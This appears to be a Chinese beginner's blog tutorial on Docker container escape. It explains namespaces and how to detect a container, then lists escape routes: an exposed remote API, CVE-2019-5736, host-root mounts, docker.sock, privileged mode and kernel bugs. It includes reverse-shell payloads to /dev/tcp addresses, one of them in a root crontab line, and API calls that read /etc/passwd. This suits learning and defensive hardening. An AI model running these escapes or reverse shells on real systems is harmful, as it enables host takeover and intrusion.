0%

docker逃逸初学

docker核心技术与实现原理

Docker是一个开源的应用容器引擎,可以让开发者打包任何应用以及依赖包到容器中,然后发布到任何流行的Linux机器上,完美的解决了测试环境与生产环境的某些不一致性问题。相比于传统的虚拟化技术, docker容器直接使用宿主机内核,也不存在硬件的虚拟,要轻便许多。

docker为了实现和虚拟机一样的效果,即有独立于宿主机的文件系统,进程系统,内存系统,而采取的设计思想是隔离容器不让它看到主机的文件系统,进程系统,内存系统等等,那么容器就可以理解为一个虚拟机了。

namespaces

命名空间 (namespaces) 是 Linux 为我们提供的用于分离进程树、网络接口、挂载点以及进程间通信等资源的方法,是内核级别的环境隔离。在实际的运行过程中,多个服务之间的状态或资源是会相互影响的,每一个服务都能看到其他服务的进程,也可以访问宿主机器上的任意文件,而 docker 的目的是同一台机器上的不同服务能做到完全隔离,就像运行在多台不同的机器上一样,对此就需要在创建进程的时候指定 namespaces 来实现。

Linux 的命名空间机制提供了以下七种不同的命名空间,包括 CLONE_NEWCGROUPCLONE_NEWIPCCLONE_NEWNETCLONE_NEWNSCLONE_NEWPIDCLONE_NEWUSERCLONE_NEWUTS,通过这七个选项我们能在创建新的进程时设置新进程应该在哪些资源上与宿主机器进行隔离。

进程

进程是 Linux 中非常重要的概念,表示一个正在执行的程序,可以通过 ps 命令打印出当前操作系统中正在执行的进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/Desktop# ps -aux |grep 1
root 1 0.0 0.2 168184 11380 ? Ss 1月04 0:07 /sbin/init splash
root 2 0.0 0.0 0 0 ? S 1月04 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? I< 1月04 0:00 [rcu_gp]
root 4 0.0 0.0 0 0 ? I< 1月04 0:00 [rcu_par_gp]
root 6 0.0 0.0 0 0 ? I< 1月04 0:00 [kworker/0:0H-kblockd]
root 9 0.0 0.0 0 0 ? I< 1月04 0:00 [mm_percpu_wq]
root 10 0.0 0.0 0 0 ? S 1月04 0:04 [ksoftirqd/0]
root 11 0.0 0.0 0 0 ? I 1月04 0:28 [rcu_sched]
root 12 0.0 0.0 0 0 ? S 1月04 0:01 [migration/0]
root 13 0.0 0.0 0 0 ? S 1月04 0:00 [cpuhp/0]
root 14 0.0 0.0 0 0 ? S 1月04 0:00 [cpuhp/1]
root 15 0.0 0.0 0 0 ? S 1月04 0:04 [migration/1]
root 16 0.0 0.0 0 0 ? S 1月04 0:02 [ksoftirqd/1]
root 18 0.0 0.0 0 0 ? I< 1月04 0:00 [kworker/1:0H-kblockd]
root 21 0.0 0.0 0 0 ? S 1月04 0:00 [kdevtmpfs]
root 22 0.0 0.0 0 0 ? I< 1月04 0:00 [netns]
root 23 0.0 0.0 0 0 ? S 1月04 0:00 [rcu_tasks_rude_]

可以看到传统虚拟机的ps命令打印出的进程的pid在开始是会按照递增的顺序增加的,这些进程是在系统启动时开始运行的,注意进程中有两个非常特殊,一个是 pid 为 1 的 /sbin/init 进程,另一个是 pid 为 2 的 kthreadd 进程,这两个进程都是被 Linux 中的上帝进程 idle 创建出来的,其中前者负责执行内核的一部分初始化工作和系统配置,也会创建一些类似 getty 的注册进程,而后者负责管理和调度其他的内核进程。

对应的看下docker里面ps的输出:

1
2
3
4
5
root@kali:~/vulnhub/shiro# docker run -it ubuntu /bin/bash
root@99e750706b72:/# ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.3 0.0 4116 3408 pts/0 Ss 10:56 0:00 /bin/bash
root 8 0.0 0.0 5904 2884 pts/0 R+ 10:56 0:00 ps -aux

可以看到docker容器的启动因为不涉及到os层面的启动,所以他的进程相对于要少很多,通过这一点也可以作为一个判断当前环境到底是docker还是传统虚拟机的依据。docker启动后查看宿主机的进程,会发现真正与当前docker环境相关的就以下几条:

1
2
3
4
5
root@kali:~/Downloads# ps -ef|grep docker
root 44955 1 0 03:06 ? 00:00:13 /usr/sbin/dockerd -H fd://
root 44961 44955 0 03:06 ? 00:00:09 docker-containerd --config /var/run/docker/containerd/containerd.toml --log-level info
root 46517 45733 0 05:56 pts/1 00:00:00 docker run -it ubuntu /bin/bash
root 46539 44961 0 05:56 ? 00:00:00 docker-containerd-shim -namespace moby -workdir /var/lib/docker/containerd/daemon/io.containerd.runtime.v1.linux/moby/99e750706b729533a472aeedeb72cd11f33b61bbbeead897d4b4498377f5ddf7 -address /var/run/docker/containerd/containerd.sock -containerd-binary /usr/bin/docker-containerd -runtime-root /var/run/docker/runtime-runc

这就是利用前面提到的进程空间中的CLONE_NEWPID来实现的,容器内的进程对于宿主机进程义务所知。当前这个docker的进程创建可以如下理解:

image-20210112191041493

网络

Docker 提供了四种不同的网络模式,Host、Container、None 和 Bridge 模式,其中默认的是 Bridge 模式。当 Docker 在host机器上启动之后会创建新的虚拟网桥 docker0,在host机器上,会为每一个容器生成一个默认的网卡,这个网卡的一端连接在容器的eth0,一端连接到docker0。这样就实现了每个容器有一个单独的IP。

如果需要外部能够访问容器,需要做端口映射规则,和配置虚拟机一样的道理, 只不过这里的80端口并没有占用本地端口,而是在容器内部做了监听,外部是通过docker0桥接过去的,同时每个容器间也做到了端口和网络的隔离。

挂载点

前面已经了解了进程和网络的隔离,但是挂载点在不做隔离的情况下,docker容器内依旧可以访问宿主机的所有文件系统,因此在新的进程中创建隔离的挂载点命名空间需要在 clone 函数中传入 CLONE_NEWNS,这样子进程就能得到父进程挂载点的拷贝,如果不传入这个参数子进程对文件系统的读写都会同步回父进程以及整个主机的文件系统

同时,如果是一个linux类型的容器要想正常启动,除了要有根文件系统(rootfs)之外,还得在rootfs 中挂载几个特定的目录和要建立一些符号链接保证系统 IO 不会出现问题。

除了上面学习的这些点之外,还有容器对于物理资源的使用、存储驱动等和提权关系不大,也就不再展开了,详情可以参考:Docker 核心技术与实现原理

docker环境判断

/.dockerenv

直接在docker的根目录下查看下是否包含该文件即可:

1
ls -alh /.dockerenv

进程cgroup信息

在前面学习中我们了解到通过ps查看当前环境的进程可以判断出是否是docker,更为细致的是可以查看pid为1的进程的cgroup信息

docker下:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@3a8860807db4:/# cat /proc/1/cgroup
11:memory:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
10:freezer:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
9:perf_event:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
8:blkio:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
7:cpuset:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
6:pids:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
5:devices:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
4:net_cls,net_prio:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
3:rdma:/
2:cpu,cpuacct:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
1:name=systemd:/docker/3a8860807db4e290d32df624586bfd4685d0756bf718700ebe47562ae544fe60
0::/system.slice/docker.service

非docker:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Downloads# cat /proc/1/cgroup
11:memory:/
10:freezer:/
9:perf_event:/
8:blkio:/
7:cpuset:/
6:pids:/
5:devices:/
4:net_cls,net_prio:/
3:rdma:/
2:cpu,cpuacct:/
1:name=systemd:/init.scope
0::/init.scope

docker 远程api

docker swarm是管理docker集群的工具。主从管理、默认通过2375端口通信。绑定了一个Docker Remote API的服务,可以通过HTTP、Python、调用API来操作Docker。使用如下进行启动:

1
2
3
dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
//在docker 1.16 之前需要使用 docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
//Command "daemon" is deprecated, and will be removed in Docker 1.16. Please run `dockerd` directly.

获取docker container信息

接下来通过http来进行操作,首先是获取当前docker的containers 信息,类似于本地运行 docker container ls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~/Desktop# curl -i -s -X GET http://192.168.1.91:2375/containers/json
HTTP/1.1 200 OK
Api-Version: 1.40
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.13 (linux)
Date: Wed, 13 Jan 2021 09:52:44 GMT
Content-Length: 798

[{
"Id": "068ee763f8ad6c95bf383ea1ed015a7689654c8c489fd320361671a8e42a1053",
"Names": ["/youthful_blackburn"],
"Image": "ubuntu",
"ImageID": "sha256:f643c72bc25212974c16f3348b3a898b1ec1eb13ec1539e10a103e6e217eb2f1",
"Command": "/bin/bash",
"Created": 1610531550,
"Ports": [],
"Labels": {},
"State": "running",
"Status": "Up 14 seconds",
……
}]

其中的关键参数是 "Id": "068ee763f8ad6c95bf383ea1ed015a7689654c8c489fd320361671a8e42a1053"

创建一个 exec 实例

使用前面的ID来创建exec实例:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/Desktop# curl -i -s -X POST -H "Content-Type: application/json" --data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' http://192.168.1.91:2375/containers/068ee763f8ad6c95bf383ea1ed015a7689654c8c489fd320361671a8e42a1053/exec
HTTP/1.1 201 Created
Api-Version: 1.40
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.13 (linux)
Date: Wed, 13 Jan 2021 10:52:48 GMT
Content-Length: 74

{"Id":"dd559f47bc8e892404f3a7136206d3d0ef0519406627c26f4614068a0b393374"}

执行exec实例

1
2
3
4
5
6
7
root@kali:~/Desktop# curl -i -s -X POST -H 'Content-Type: application/json'  --data-binary '{"Detach": false,"Tty": false}'  http://192.168.1.91:2375/exec/dd559f47bc8e892404f3a7136206d3d0ef0519406627c26f4614068a0b393374/start
HTTP/1.1 200 OK
Content-Type: application/vnd.docker.raw-stream
Api-Version: 1.40
Docker-Experimental: false
Ostype: linux
Server: Docker/19.03.13 (linux)

这里按道理是会有回显的,但是我这里没有回显成功,用个不回显的 whoami>123 可以看到本地确实执行成功了。

上面的演示是为了证明可以远程通过api进行docker操作,下面的演示不通过这种方式

逃逸1: 利用 docker 相关cve

CVE-2019-5736

CVE-2019-5736 是runC的CVE漏洞编号,runC最初是作为Docker的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在docker整个架构的运行过程中,Containerd向docker提供运行容器的API,二者通过grpc进行交互。containerd最后通过runc来实际运行容器。

影响版本

docker version <=18.09.2

RunC version <=1.0-rc6

利用条件

攻击者可控 image,进一步控制生成的container

攻击者具有某已存在容器的写权限,且可通过docker exec进入

步骤

1、编译go生成payload,payload地址:https://github.com/Frichetten/CVE-2019-5736-PoC

2、将其中的16行修改为反弹shell:

1
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.17.0.1/8888 0>& 1" 

3、编译命令:

1
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

4、将生成的 main 放到容器中并赋予权限 777,实际场景可以wget或者其余下载方式传入就好。

5、运行该main文件,出现以下输出即表示ok

1
2
root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully

6、新起一个shell来以exec启动docker容器

1
chen@chen:~$ sudo docker exec -it d1 /bin/bash

7、docker内main程序的运行输出:

1
2
3
4
5
root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}

8、nc收到root权限的反弹shell

CVE-2019-14271

https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/

CVE-2019-13139

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

逃逸2: 利用错误配置

挂载错误

kali下docker正常启动:

1
root@kali:/home/kali# service docker start

加载docker时将宿主机的根目录映射为了 mnt :

1
2
3
4
5
6
7
8
9
root@kali:~/Desktop# docker  run -it -v /:/mnt ubuntu /bin/bash
root@aa81c85afa2d:/# cd /
root@aa81c85afa2d:/# ls
bin boot dev etc home lib lib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var
root@aa81c85afa2d:/# cd mnt
root@aa81c85afa2d:/mnt# ls
bin dev home initrd.img lib lib64 lost+found mnt proc run srv test usr vmlinuz
boot etc index.html initrd.img.old lib32 libx32 media opt root sbin sys tmp var vmlinuz.old

这里我们就可以看到宿主机的所有文件了,因为启动权限是root,所以这里可以直接写计划任务进行反弹shell:

1
root@aa81c85afa2d:/mnt# echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.1.91/8899 0>&1' >> /mnt/var/spool/cron/crontabs/root

这里只是文件的逃逸,不能真正的执行命令,如果当前计划任务的权限不是600的话会因为系统的安全策略而无法执行(kali下当前认知如此)

不过因为足够高的权限可以看看当前系统是否允许证书登录(命令: cat /etc/ssh/sshd_config | grep PubkeyAuthentication),如果可以的话去写入用户的ssh证书进行连接即可

docker.sock

还记得前面我们通过http进行docker操作的时候在启动时有个参数是:-H unix:///var/run/docker.sock ,这个参数会直接影响到逃逸的结果的。我们知道docker是典型的c/s架构,通过docker version 就可以看出来:

1
2
3
4
5
6
7
8
9
10
11
root@kali:/home/kali# docker version
Client:
Version: 19.03.13
API version: 1.40
……

Server:
Engine:
Version: 19.03.13
API version: 1.40 (minimum version 1.12)
……

我们输入docker version命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon 返回信息,客户端收到信息后展示在控制台上

docker.sock 是Docker守护进程(Docker daemon)**默认监听的Unix域套接字(Unix domain socket)**,容器中的进程可以通过它与Docker守护进程进行通信,可以完成类似于远程api调用的效果。这时的攻击场景就是结合上面的挂载错误来操作了,思路就是宿主机A上运行着一个开启了docker.sock的容器B,容器B首先安装一个docker,然后使用docker命令通过docker.sock与宿主机通信,info获取本机的images,run 直接再运行一个容器C,运行C的时候指定挂载宿主机的根目录就完成了目录逃逸了。

具体操作如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
kali@kali:~$ docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu /bin/bash
//通过加载信息查找是否存在docker.sock
//也可以使用find / -name docker.sock
root@3e75da439013:/# cat /proc/mounts|grep "docker.sock"
tmpfs /run/docker.sock tmpfs rw,nosuid,nodev,noexec,relatime,size=403300k,mode=755 0 0
//使用echo写文件更新源来安装docker
root@3e75da439013:/# echo "\
deb http://mirrors.aliyun.com/ubuntu/ xenial main
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main
deb http://mirrors.aliyun.com/ubuntu/ xenial universe
deb-src http://mirrors.aliyun.com/ubuntu/ xenial universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates universe
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates universe
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main
deb http://mirrors.aliyun.com/ubuntu/ xenial-security universe
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security universe">/etc/apt/sources.list

root@3e75da439013:/# apt update
root@3e75da439013:/# apt install docker.io

安装docker完成之后,就开始收集信息和启动容器:

1
2
3
4
5
6
//查看宿主机的docker images有哪些可以用
root@3e75da439013:/# docker -H unix:///var/run/docker.sock images
//选择之一进行启动,注意这里需要挂载 /
root@3e75da439013:/# docker -H unix:///var/run/docker.sock run -v /:/test -it ubuntu:14.04 /bin/bash
//注意到这里的host id已经改变了,cd到 /test 目录下就可以看到宿主机的所有文件了
root@4eae2e7aba76:/# cd /test

具体的利用与上面的类似。

–privileged

–privileged使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,进一步通过写入计划任务等方式getshell。

具体操作如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
root@kali:~# docker run -it --privileged ubuntu /bin/bash
root@9d36955d2bc5:/# fdisk -l
Disk /dev/sda: 80 GiB, 85899345920 bytes, 167772160 sectors
Disk model: VBOX HARDDISK
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xb46db499

Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 163577855 163575808 78G 83 Linux
/dev/sda2 163579902 167770111 4190210 2G 5 Extended
/dev/sda5 163579904 167770111 4190208 2G 82 Linux swap / Solaris
root@9d36955d2bc5:/# ls /dev
autofs mem shm tty19 tty36 tty53 uhid vcsa6
bsg mqueue snapshot tty2 tty37 tty54 uinput vcsa7
btrfs-control net snd tty20 tty38 tty55 urandom vcsu
bus null sr0 tty21 tty39 tty56 vboxguest vcsu1
console nvram stderr tty22 tty4 tty57 vboxuser vcsu2
core port stdin tty23 tty40 tty58 vcs vcsu3
cpu_dma_latency ppp stdout tty24 tty41 tty59 vcs1 vcsu4
cuse psaux tty tty25 tty42 tty6 vcs2 vcsu5
dri ptmx tty0 tty26 tty43 tty60 vcs3 vcsu6
fb0 pts tty1 tty27 tty44 tty61 vcs4 vcsu7
fd random tty10 tty28 tty45 tty62 vcs5 vfio
full rfkill tty11 tty29 tty46 tty63 vcs6 vga_arbiter
fuse rtc0 tty12 tty3 tty47 tty7 vcs7 vhci
hidraw0 sda tty13 tty30 tty48 tty8 vcsa vhost-net
hpet sda1 tty14 tty31 tty49 tty9 vcsa1 vhost-vsock
input sda2 tty15 tty32 tty5 ttyS0 vcsa2 zero
kmsg sda5 tty16 tty33 tty50 ttyS1 vcsa3
loop-control sg0 tty17 tty34 tty51 ttyS2 vcsa4
mapper sg1 tty18 tty35 tty52 ttyS3 vcsa5
//新建一个目录来挂载宿主机目录
root@9d36955d2bc5:/# mkdir /test
//挂载操作
root@9d36955d2bc5:/# mount /dev/sda1 /test
//切到宿主机目录下
root@9d36955d2bc5:/# cd /test
root@9d36955d2bc5:/test# ll
total 152
drwxr-xr-x 20 root root 36864 Dec 1 13:55 ./
drwxr-xr-x 1 root root 4096 Jan 14 13:52 ../
drwx------ 2 root root 4096 May 8 2020 .cache/
lrwxrwxrwx 1 root root 7 May 8 2020 bin -> usr/bin/
drwxr-xr-x 3 root root 4096 Dec 1 13:58 boot/
drwxr-xr-x 4 root root 4096 May 8 2020 dev/

–cap-add

–cap-add是docker启动的时候增加权限的参数,对应的还有 –cap-drop

caplist有两个基准范围,默认Cap集合:

1
2
src/oci/default_linux.go
s.Process.Capabilities = []string{ "CAP_CHOWN","CAP_DAC_OVERRIDE","CAP_FSETID","CAP_FOWNER","CAP_MKNOD","CAP_NET_RAW","CAP_SETGID","CAP_SETUID","CAP_SETFCAP","CAP_SETPCAP","CAP_NET_BIND_SERVICE","CAP_SYS_CHROOT","CAP_KILL","CAP_AUDIT_WRITE",}

最大Cap集合:

1
[CAP_CHOWN,CAP_DAC_READ_SEARCH,CAP_FOWNER,CAP_FSETID,CAP_KILL,CAP_SETGID,CAP_SETUID,CAP_SETPCAP,CAP_LINUX_IMMUTABLE,CAP_NET_BIND_SERVICE,CAP_NET_BROADCAST,CAP_NET_ADMIN,CAP_NET_RAW,CAP_IPC_LOCK,CAP_IPC_OWNER,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_SYS_CHROOT,CAP_SYS_PTRACE,CAP_SYS_PACCT,CAP_SYS_ADMIN,CAP_SYS_BOOT,CAP_SYS_NICE,CAP_SYS_RESOURCE,CAP_SYS_TIME,CAP_SYS_TTY_CONFIG,CAP_MKNOD,CAP_LEASE,CAP_AUDIT_WRITE,CAP_AUDIT_CONTROL,CAP_SETFCAP,CAP_MAC_OVERRIDE,CAP_MAC_ADMIN,CAP_SYSLOG,CAP_WAKE_ALARM,CAP_BLOCK_SUSPEND,]

也就是说我们可以根据实际场景需要通过cap add或者drop掉一些权限,实现了比privileged更加细粒度的权限控制,在实际环境中可以使用capsh –print查看当前环境的cap权限有哪些。

各个cap对应的权限说明可参考:https://man7.org/linux/man-pages/man7/capabilities.7.html

CAP_SYS_ADMIN

这个需要容器缺少apparmor配置文件且cgroup v1虚拟文件需要以读写方式安装在 容器内部,利用思路就是我们在一个cgroup中写入notify_on_release文件(for enable cgroup notifications),挂载cgroup控制器并创建子cgroup,创建/bin/sh进程并将其PID写入cgroup.procs文件,sh退出后执行release_agent文件。具体操作可以参考:–cap-add=SYS_ADMIN 利用

以下2种方式在Docker渗透思路调研 看到,但是描述过于简单,没理解如何在docker注入宿主机进程,只做个链接吧

CAP_SYS_PTRACE

CAP_SYS_MODULE

逃逸3: 利用内核漏洞

脏牛与VDSO

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件,允许恶意用户提权获取其他只读内存映射的写访问权限。

VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。

在容器中利用VDSO内存空间中的 clock_gettime() 函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

docker是与宿主机共用docker的,所以这里逃逸的场景要求宿主机内核有漏洞才可以进行。

逃逸4: docker管理平台

Portainer后台拿Shell

创建容器挂载宿主机目录,通过chroot切换Shell

参考链接

Docker 核心技术与实现原理

Docker逃逸初探

初识Docker逃逸

https://paper.seebug.org/1288/#-cap-addsys_admin